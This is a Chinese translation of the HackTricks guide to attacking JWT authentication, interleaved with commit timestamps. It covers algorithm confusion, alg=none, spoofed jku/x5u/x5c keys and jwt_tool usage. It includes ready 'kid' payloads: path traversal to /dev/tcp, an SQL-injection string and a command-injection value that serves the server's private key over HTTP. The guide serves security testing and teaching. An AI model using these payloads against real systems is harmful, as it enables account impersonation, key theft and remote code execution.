hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

260 lines
15 KiB
Markdown
Raw Normal View History

# JWT 漏洞Json Web Tokens
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>从零到英雄学习 AWS 黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
支持 HackTricks 的其他方式:
* 如果您希望在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注我** [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
</details>
![](<../.gitbook/assets/image (638) (3).png>)
2022-04-28 16:01:33 +00:00
**Bug bounty 小贴士****注册** **Intigriti**,一个由黑客创建的高级**漏洞赏金平台**!立即加入我们 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
2022-04-30 20:31:18 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
**本文部分内容摘自:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**JWTs 渗透测试的绝佳工具作者** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **快速获胜**
运行 [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) 并选择 `All Tests!` 模式,等待绿色线条
```bash
2022-07-22 12:41:11 +00:00
python3 jwt_tool.py -M at \
2023-08-03 19:12:22 +00:00
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
如果你运气好该工具会找到某些情况其中web应用程序检查JWT的方式不正确
![](<../.gitbook/assets/image (435).png>)
然后你可以在你的代理中搜索请求或者使用jwt_tool转储该请求使用的JWT
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
2023-08-03 19:12:22 +00:00
### 在不修改任何内容的情况下篡改数据
您可以只篡改数据保持签名不变并检查服务器是否在检查签名。尝试将您的用户名更改为“admin”举例。
2023-08-03 19:12:22 +00:00
#### **令牌是否被检查?**
* 如果出现错误消息,则正在检查签名 - 阅读可能泄露敏感信息的任何详细错误信息。
* 如果返回的页面不同,则正在检查签名。
* 如果页面相同,则没有检查签名 - 是时候开始篡改有效载荷声明,看看您能做什么了!
2023-08-03 19:12:22 +00:00
### 来源
检查令牌在您的代理请求历史中的起源位置。它应该在服务器上创建,而不是客户端。
* 如果它首次出现是从客户端发送的,则**密钥**可被客户端代码访问 - 寻找它!
* 如果它首次出现是从服务器发送的,则一切正常。
2023-08-03 19:12:22 +00:00
### 有效期
检查令牌是否持续超过24小时... 也许它永不过期。如果有“exp”字段请检查服务器是否正确处理它。
2023-08-03 19:12:22 +00:00
### 暴力破解HMAC密钥
[**查看此页面。**](../generic-methodologies-and-resources/brute-force.md#jwt)
### 将算法修改为None (CVE-2015-9235)
将使用的算法设置为“None”并移除签名部分。
使用Burp扩展名为“JSON Web Token”的功能来尝试这个漏洞并更改JWT内的不同值将请求发送到Repeater在“JSON Web Token”标签中您可以修改令牌的值。您也可以选择将“Alg”字段的值设置为“None”
### 将算法RS256非对称更改为HS256对称(CVE-2016-5431/CVE-2016-10555)
算法HS256使用密钥来签名和验证每条消息。\
算法RS256使用私钥来签名消息并使用公钥进行认证。
如果您将算法从RS256更改为HS256后端代码将使用公钥作为密钥然后使用HS256算法来验证签名。
然后使用公钥并将RS256更改为HS256我们可以创建一个有效的签名。您可以执行以下操作来检索Web服务器的证书
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### 在头部中嵌入新的公钥
攻击者在令牌的头部嵌入一个新的密钥服务器使用这个新的密钥来验证签名CVE-2018-0114
这可以通过 "JSON Web Tokens" Burp 扩展来完成。\
(将请求发送到 Repeater在 JSON Web Token 标签页中选择 "CVE-2018-0114" 并发送请求)。
### JWKS 欺骗
如果令牌使用了 “jku” 头部声明,那么检查提供的 URL。这应该指向一个包含 JWKS 文件的 URLJWKS 文件中包含了用于验证令牌的公钥。篡改令牌,将 jku 值指向你可以监控流量的网络服务。
如果你得到了 HTTP 交互,你现在知道服务器正在尝试从你提供的 URL 加载密钥。_使用 jwt\_tool 的 -S 标志以及 -u_ [_http://example.com_](http://example.com) _参数来生成一对新的密钥注入你提供的 URL生成包含公钥的 JWKS并用私钥签署令牌_
### Kid 问题
`kid` 是一个可选的头部声明,它包含了一个密钥标识符,当你有多个密钥来签署令牌并且需要查找正确的密钥来验证签名时特别有用。
#### "kid" 问题 - 揭示密钥
如果在头部使用了 "kid" 声明,检查网站目录中是否有该文件或其变体。例如,如果 `"kid":"key/12345"`,那么在网站根目录下查找 _/key/12345__/key/12345.pem_
#### "kid" 问题 - 路径遍历
如果在头部使用了 "kid" 声明,检查是否可以使用文件系统中的不同文件。选择一个你可能能预测内容的文件,或者尝试使用 `"kid":"/dev/tcp/yourIP/yourPort"` 来测试连通性,甚至一些 **SSRF** 载荷...\
_使用 jwt\_tool 的 -T 标志来篡改 JWT 并更改 kid 声明的值然后选择保持原始签名_
2020-12-03 10:09:49 +00:00
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
使用主机内已知内容的文件您也可以伪造有效的JWT。例如在linux系统中文件`/proc/sys/kernel/randomize_va_space`的值设置为**2**。因此,将该**路径**放入"**kid**"参数中,并使用"**2**"作为**对称密码**来生成JWT您应该能够生成一个有效的新JWT。
2020-12-03 10:09:49 +00:00
2023-08-03 19:12:22 +00:00
#### "kid"问题 - SQL注入
在一个使用"kid"内容从数据库检索密码的场景中,您可以将"kid"参数内的有效载荷更改为:`non-existent-index' UNION SELECT 'ATTACKER';-- -`,然后使用密钥`ATTACKER`对JWT进行签名。
#### "kid"问题 - 操作系统注入
在一个"kid"参数包含密钥文件路径,并且该路径**在执行的命令中使用**的场景中您可以使用如下有效载荷获得RCE并暴露私钥`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
2023-08-03 19:12:22 +00:00
### 杂项攻击
以下是已知的弱点,应进行测试。
2023-08-03 19:12:22 +00:00
**跨服务中继攻击**
一些Web应用程序使用可信的JWT服务来为它们生成和管理令牌。在过去有些情况发生了为JWT服务的一个客户端生成的令牌实际上可以被JWT服务的另一个客户端接受。\
如果您观察到JWT通过第三方服务发行或更新那么值得识别您是否可以在该服务的另一个客户端上使用相同的用户名/电子邮件注册账户。如果可以,尝试取出该令牌并在请求目标时重放它。它被接受了吗?
* 如果您的令牌被接受,那么您可能有一个关键问题,允许您冒充任何用户的账户。但是,请注意,如果您在第三方应用程序上注册,您可能需要寻求更广泛的测试权限,以防它进入法律灰色地带!
2023-08-03 19:12:22 +00:00
**是否检查exp**
“exp”有效载荷声明用于检查令牌的过期时间。由于JWT通常在没有会话信息的情况下使用因此需要小心处理 - 在许多情况下捕获并重放其他人的JWT将允许您伪装成该用户。\
JWT重放攻击的一个缓解措施JWT RFC建议是使用“exp”声明为令牌设置一个过期时间。在应用程序中设置相关检查也很重要以确保处理此值并在令牌过期时拒绝它。如果令牌包含“exp”声明并且测试时间允许 - 尝试存储令牌并在过期时间过后重放它。_使用jwt\_tool的-R标志来读取令牌的内容其中包括时间戳解析和过期检查时间戳为UTC_
* 如果令牌在应用程序中仍然有效,那么这可能是一个安全风险,因为令牌可能永远不会过期。
2023-08-03 19:12:22 +00:00
### x5u和jku
2022-05-01 13:25:53 +00:00
#### jku
jku代表**JWK Set URL**。\
如果令牌使用“**jku**”**Header**声明,那么**检查提供的URL**。这应该指向一个包含JWKS文件的URL该文件持有用于验证令牌的公钥。篡改令牌将jku值指向您可以监控流量的Web服务。
首先,您需要创建一个带有新的私钥和公钥的新证书
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
```markdown
然后您可以使用例如 [**jwt.io**](https://jwt.io) 来使用**创建的公钥和私钥创建新的JWT并将参数jku指向创建的证书。** 为了创建有效的jku证书您可以下载原始证书并更改所需的参数。
您可以使用以下方法从公共证书获取参数 "e" 和 "n"
```
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
2022-05-01 13:25:53 +00:00
#### x5u
X.509 URL。一个指向一组以 PEM 形式编码的 X.509(证书格式标准)公共证书的 URI。该组中的第一个证书必须是用来签署这个 JWT 的证书。随后的证书每个都签署前一个从而完成证书链。X.509 在 RFC 52807 中定义。传输证书时需要传输安全保护。
尝试**将此头部更改为您控制下的 URL**,并检查是否收到任何请求。在这种情况下,您**可以篡改 JWT**。
要伪造一个由您控制的证书签名的新令牌,您需要创建证书并提取公钥和私钥:
```bash
2021-03-10 17:23:17 +00:00
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
然后你可以使用例如 [**jwt.io**](https://jwt.io) 来创建新的 JWT并使用**创建的公钥和私钥,并将 x5u 参数指向创建的证书 .crt。**
![](<../.gitbook/assets/image (439).png>)
你还可以利用这两个漏洞**进行 SSRF 攻击**。
2022-05-01 13:25:53 +00:00
#### x5c
此参数可能包含**以 base64 编码的证书**
![](<../.gitbook/assets/image (440).png>)
如果攻击者**生成一个自签名证书**,并使用相应的私钥创建一个伪造的令牌,并替换 "x5c" 参数的值为新生成的证书,并修改其他参数,即 n、e 和 x5t那么本质上伪造的令牌将被服务器接受。
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
### 嵌入式公钥 (CVE-2018-0114)
如果JWT像以下场景中那样嵌入了一个公钥
![](<../.gitbook/assets/image (438).png>)
使用以下nodejs脚本可以从那些数据生成一个公钥
2021-03-10 12:26:57 +00:00
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
可以生成新的私钥/公钥,将新的公钥嵌入令牌中,并使用它来生成新的签名:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
你可以使用以下的nodejs脚本来获取 "n" 和 "e"
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
使用公钥和私钥以及新的 "n" 和 "e" 值,您可以使用 [jwt.io](https://jwt.io) 伪造一个包含任何信息的新有效 JWT。
### JTIJWT ID
JTIJWT ID声明提供了 JWT 令牌的唯一标识符。它可以用来防止令牌被重放。\
然而,想象一个 ID 的最大长度为 40001-9999的情况。请求 0001 和 10001 将使用相同的 ID。所以如果后端在每个请求上递增 ID您可以利用这一点来**重放请求**(需要在每次成功重放之间发送 10000 个请求)。
### JWT 注册声明
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
2023-08-03 19:12:22 +00:00
### 工具
{% embed url="https://github.com/ticarpi/jwt_tool" %}
2022-04-28 16:01:33 +00:00
2022-07-21 20:26:09 +00:00
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
**漏洞赏金提示****注册** **Intigriti**,一个由黑客创建的高级**漏洞赏金平台**!立即加入 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
2022-05-08 22:42:39 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
支持 HackTricks 的其他方式:
2022-04-28 16:01:33 +00:00
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
2022-04-28 16:01:33 +00:00
</details>